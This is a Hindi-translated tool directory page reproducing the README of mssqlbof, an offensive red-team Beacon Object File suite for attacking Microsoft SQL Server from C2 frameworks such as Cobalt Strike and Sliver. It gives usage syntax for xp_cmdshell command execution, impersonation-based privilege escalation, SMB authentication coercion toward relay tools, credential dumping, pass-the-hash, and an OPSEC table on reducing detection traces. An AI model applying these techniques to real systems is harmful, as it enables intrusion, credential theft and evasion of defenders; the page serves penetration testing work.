Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
mssqlbof — Microsoft SQL Server के लिए एक Beacon Object File सुइट जो स्वयं TDS 7.4 का उपयोग करता है। | Kitploit
उपकरण/GitHubGitHub/mazx0p/mssqlbof
विशेषाधिकार वृद्धिपासवर्ड हमलेशोषणपार्श्व आंदोलनपोस्ट-शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलप्रमाणीकरणरेड टीमिंगपेलोड डेवलपमेंटडेटाबेस सुरक्षा
1018396 महीने पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHub
mazx0p/mssqlbof

mssqlbof

Microsoft SQL Server के लिए एक Beacon Object File सुइट जो स्वयं TDS 7.4 का उपयोग करता है।

रिपॉजिटरी देखें

mssqlbof

एक Beacon Object File सूट Microsoft SQL Server के लिए जो स्वयं TDS 7.4 बोलता है, C में। कोई msodbcsql.dll नहीं, कोई sqloledb.dll नहीं, कोई .NET CLR नहीं, कोई PowerShell नहीं। प्रति आर्किटेक्चर एक COFF, हर बीकन में लोड होता है जो विहित Beacon API का सम्मान करता है।

image

क्यों

SQL Server लगभग हर एंगेजमेंट में दिखता है। दो उपकरण जो लोग उपयोग करते हैं वे हैं SQLRecon / PowerUpSQL (CLR + PowerShell) और जो कुछ भी sqlcmd.exe को रैप करता है। दोनों mscoree.dll, PowerShell AMSI घटनाएँ, या Microsoft ODBC ड्राइवर की एक पूरी प्रति बीकन मेमोरी में छोड़ देते हैं। इसकी कोई आवश्यकता नहीं है: TDS केवल TCP के ऊपर फ्रेम किए गए बाइट्स हैं जिसमें Schannel हैंडशेक है, और हर BOF-क्षम बीकन में पहले से ws2_32, secur32, schannel, और bcrypt लोड होते हैं।

इसलिए mssqlbof TDS को हाथ से, C में लागू करता है, और सीधे उन SSPI या BCrypt प्रिमिटिव्स में प्लग करता है जो ऑपरेटर को लक्ष्य के लिए चाहिए। बीकन एक ~48 KB ऑब्जेक्ट लोड करता है, SQL चलाता है, अनलोड करता है। प्रक्रिया में कुछ और नहीं आता।

अनुकूलता

C2x64x86
Cobalt Strikeहाँहाँ
Havocहाँहाँ
Sliverहाँहाँ
BruteRatelहाँहाँ
Nighthawkहाँहाँ
Outflank Stage1हाँहाँ
AdaptixC2हाँहाँ
Metasploit execute_bofहाँहाँ
PoshC2हाँहाँ

प्रति आर्किटेक्चर एक ऑब्जेक्ट फ़ाइल। mssql.x64.o हर फ्रेमवर्क पर एक ही बाइनरी है — हम केवल विहित Beacon API (BeaconPrintf, BeaconDataExtract, आदि) और <LIB>$<fn> डायनामिक इम्पोर्ट पैटर्न का उपयोग करते हैं जिसे COFF लोडर रनटाइम पर हल करते हैं।

त्वरित आरंभ

apt install gcc-mingw-w64 libssl-dev
make

build/mssql.x64.o और build/mssql.x86.o उत्पन्न करता है। टीम सर्वर पर ड्रॉप करें, अपने C2 के BOF रनर से लोड करें।

क्रियाएँ

सब कुछ एक ऑब्जेक्ट फ़ाइल के माध्यम से जाता है जिसमें --action <verb> होता है:

--action find                                   वर्तमान फ़ॉरेस्ट में MSSQLSvc SPNs की LDAP गणना
--action info     --host <sql>                  सर्वर/संस्करण/वर्तमान उपयोगकर्ता/sysadmin/db
--action query    --host <sql> --sql "..."      मनमाना T-SQL, बहु-पंक्ति, बहु-परिणामसेट
--action links    --host <sql>                  लिंक्ड-सर्वर गणना (एकल हॉप)
--action exec     --host <sql> --cmd "..."      xp_cmdshell स्वचालित सक्षम और पुनर्स्थापना के साथ
--action impersonate --host <sql> --discover    उन लॉगिन्स की सूची देखें जिन्हें आप EXECUTE AS कर सकते हैं
--action impersonate --host <sql> --login X --sql "..."
                                                EXECUTE AS LOGIN के माध्यम से X के रूप में T-SQL चलाएँ
--action privesc  --host <sql>                  छह-खंड privesc सतह गणना
--action coerce   --host <sql> --to "\\listener\x"
                                                xp_dirtree SMB प्रमाणीकरण दबाव
--action action passwords --host <sql>                 sys.linked_logins + sys.credentials डंप करें
--action chain    --host <sql> --via LINK --sql "..."
                                                EXEC (...) AT [LinkedServer]

--action find बिना होस्ट के चलता है — यह LDAP के माध्यम से ऑपरेटर के DC से बात करता है।

प्रमाणीकरण

चार मोड। प्रत्येक मोड SQL Server 2019 के विरुद्ध COFFLoader और Adaptix C2 दोनों में वास्तविक डोमेन पर एंड-टू-एंड सत्यापित है।

--auth sspi                                     (डिफ़ॉल्ट) वर्तमान बीकन थ्रेड टोकन
                                                यदि SPN मौजूद है तो Kerberos, अन्यथा NTLM।
                                                make_token / steal_token का सम्मान करता है।

--auth ntlm --domain D --user U --pass P        स्पष्ट NTLM प्लेनटेक्स्ट।
                                                SSPI NTLM पैकेज चलाता है, बहु-लेग।

--auth ntlm --domain D --user U --hash <NT>     पास-द-हैश।
                                                हाथ से बनाया गया NTLMv2 (नीचे देखें)।
                                                कोई SSPI नहीं, कोई lsass नहीं, कोई make_token नहीं।

--auth sql  --user U --pass P                   SQL प्रमाणीकरण।

--hash 32-अक्षरीय हेक्स NT हैश या वह LM:NT रूप लेता है जो secretsdump उत्पन्न करता है।

हैश मोड सिर्फ SSPI + SEC_WINNT_AUTH_IDENTITY क्यों नहीं है

AcquireCredentialsHandleW(NULL, "NTLM", ...) क्रेडेंशियल पहचान संरचना में केवल प्लेनटेक्स्ट पासवर्ड स्वीकार करता है। NTLM प्रदाता आंतरिक रूप से NT हैश व्युत्पन्न करता है। इसे हैश खिलाने के लिए lsass को पैच करने की आवश्यकता होती है (जो Mimikatz sekurlsa::pth करता है) या बीकन को एक बलि प्रक्रिया के तहत चलाना होता है जो पहले से प्रमाणित थी।

विकल्प — जो हमने लिया — PTH के लिए SSPI को पूरी तरह से छोड़ देना और NTLMSSP संदेश स्वयं उत्पन्न करना है। src/tds/ntlm_pth.c एक टाइप 1 NEGOTIATE बनाता है, TDS 0xED टोकन से सर्वर के टाइप 2 CHALLENGE को पार्स करता है, bcrypt.dll के HMAC-MD5 प्रदाता के साथ NTLMv2 गणित चलाता है, और एक टाइप 3 AUTHENTICATE लिखता है जिसे SQL Server खुशी-खुशी DC को भेजता है।

पहला कट error 18452: login is from an untrusted domain के साथ विफल हुआ। Impacket के काम करने वाले प्रमाणीकरण को वायर पर हमारे बगल में कैप्चर करने से तेजी से पता चला: हम LMv2 प्रतिक्रिया के लिए 24 शून्य भेज रहे थे और पूरा 0xe288... विंडोज नेगोशिएट फ्लैग सूप। Impacket के LMv2 गणना और उसके छोटे 0xa2880205 फ्लैग सेट (कोई KEY_EXCH नहीं, कोई SIGN नहीं, कोई ALWAYS_SIGN नहीं) से मेल खाने पर सर्वर ने हैश स्वीकार कर लिया। लेख BLOG में।

--action exec के लिए Privesc

--impersonate auto          (डिफ़ॉल्ट) पहले EXECUTE AS LOGIN, फिर TRUSTWORTHY हॉप आज़माएँ
--impersonate login         IMPERSONATE अनुदान के माध्यम से EXECUTE AS LOGIN
--impersonate trustworthy   sysadmin के स्वामित्व वाले TRUSTWORTHY db के dbo के माध्यम से हॉप
--impersonate none          यदि sysadmin नहीं है तो विफल

privesc आपके द्वारा विधि चुनने से पहले सतह का गणना करता है: sysadmin सदस्यता, IMPERSONATE अनुदान (लक्ष्य लॉगिन की sysadmin स्थिति के साथ), sysadmin द्वारा स्वामित्व वाले TRUSTWORTHY डेटाबेस (आपकी पहुँच के साथ), लिंक्ड सर्वर, सर्वर-स्तरीय अनुमतियाँ, और xp_cmdshell स्थिति।

निर्माण

apt install gcc-mingw-w64 libssl-dev
make                    # BOFs को x64 + x86 के लिए क्रॉस-कंपाइल करें
make tds                # TDS कोर की Linux साझा लाइब्रेरी (फ़ज़िंग/परीक्षण के लिए)

Linux साझा लाइब्रेरी Windows बिल्ड के साथ हर TDS स्रोत फ़ाइल साझा करती है; केवल tls_schannel.c / sspi.c / ntlm_pth.c को उनके OpenSSL / स्टब समकक्षों से बदल दिया जाता है।

कुछ भी सीधे libc या Win32 को कॉल नहीं करता है। हर बाहरी प्रतीक src/common/dynimports.h में <LIB>$<fn> डायनामिक इम्पोर्ट कन्वेंशन के माध्यम से जाता है। इससे सत्यापित करें:

x86_64-w64-mingw32-objdump -t build/mssql.x64.o | grep UND

केवल MSVCRT$*, WS2_32$*, SECUR32$*, BCRYPT$*, CRYPT32$*, SCHANNEL$*, WLDAP32$*, KERNEL32$*, ADVAPI32$*, और __imp_Beacon* दिखना चाहिए। कोई msodbcsql.dll नहीं। कोई sqloledb.dll नहीं। कोई mscoree.dll नहीं।

OPSEC

क्रियाबीकन आधार रेखा से अतिरिक्त DLLsसर्वर-पक्ष ट्रेसनोट्स
findwldap32DC घटना 1644 (दुर्लभ)केवल LDAP, कोई SQL स्पर्श नहीं
info / query / links / privesc / passwordssecur32 या bcrypt, schannel, ws2_32SQL ऑडिट 33205 यदि सक्षमशुद्ध TDS, कोई ODBC फिंगरप्रिंट नहीं
execवहीxp_cmdshell + sp_configure डिफ़ॉल्ट ट्रेस मेंशोरगुल। NT SERVICE के रूप में उतरने से बचने के लिए कम-प्रिविलेज लॉगिन से --impersonate का उपयोग करें
impersonateवहीEXECUTE AS ऑडिट 33205 + 33206
coerceवहीxp_dirtree प्रयास लॉग किया गयाइसे responder / ntlmrelayx पर इंगित करें
chainवहीEXEC AT लिंक्ड सर्वर लक्ष्य पर लॉग किया गयापिवट प्रिमिटिव
टूल डाउनलोड करें